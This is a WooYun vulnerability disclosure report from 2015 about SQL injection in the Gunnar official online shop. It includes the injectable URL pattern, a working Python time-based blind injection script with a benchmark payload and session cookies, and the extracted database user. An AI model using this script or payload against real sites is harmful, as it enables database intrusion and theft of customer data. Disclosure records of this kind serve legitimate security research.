当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153436

漏洞标题:gunnar官方商城某处存在注入(付验证脚本)

相关厂商:gunnar官方商城

漏洞作者: 偏執誑

提交时间:2015-11-11 09:01

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-11: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向核心白帽子及相关领域专家公开
2015-12-13: 细节向普通白帽子公开
2015-12-23: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

........

详细说明:

最近视力有些下降,于是想买个gunnar的眼镜,天猫客服妹子直接发了一个报错的gunnar官方商城的网页给我,感觉有戏,随便在这个站上找下.......

问题url:http://**.**.**.**/Shop/product.html?can[0]=90


加个单引号直接报错了,数据库查询语句也来了

error.jpg


虽然有对单引号进行转义,然而这是个数字型的注入点,写个脚本跑下user

# -*- coding: utf-8 -*- 
import urllib.request
import time
import string
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print('{0}start to retrive Mysql user:'.format(time.strftime('%H:%M:%S',time.localtime())))
user = ''
headers = {
'Connection': 'keep-alive',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'VERSION=2,0,0,0; BRIDGE_INVITE_0=0; pgv_pvi=6143987712; lzstat_uv=9336325281429883853|3339945; ifptu5u=1; CNZZDATA5687068=cnzz_eid%3D1554711815-1446951514-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1446951514; PHPSESSID=kb1qum0f1muiqudi0qkvj0hb05; AJSTAT_ok_pages=4; AJSTAT_ok_times=12; Hm_lvt_b005336ebebb4541a231c61b8a23f770=1446989571,1447032371,1447043474,1447064216; Hm_lpvt_b005336ebebb4541a231c61b8a23f770=1447069453'
}
for i in range(1,32):
for payload in payloads :
url = "http://**.**.**.**/Shop/product.html?can[0]=90%20and%20case%20when%20ascii(mid(user()from({0})for(1)))={1}%20then%20benchmark(10000000,md5(user()))%20else%200%20end".format(i,ord(payload))
start_time = time.time()
req = urllib.request.Request(url,headers = headers)
con = urllib.request.urlopen(req)
con.read()
con.close()
if time.time() - start_time >2 :
user += payload
print('[scaning]',user)
break
else :
print('.',end='')

print('Done,mysql user is ',user)


技术渣...调试了挺久的,一开始用sleep发现会跑一两个字符后停止,猜测是sleep的原因,换成benchmark就好啦.

user:bdm18166025@**.**.**.**


后来发现这个注入点还可以直接报错注入,手工测试出数据库和版本

database.jpg


version.jpg

漏洞证明:

如上,既然是个商城,会有不少用户隐私数据吧...不测试了,双十一就要到了,买买买去了.....

修复方案:

近视定制款真心好贵啊,送我个呗

版权声明:转载请注明来源 偏執誑@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-11-23 11:23

厂商回复:

CNVD未复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无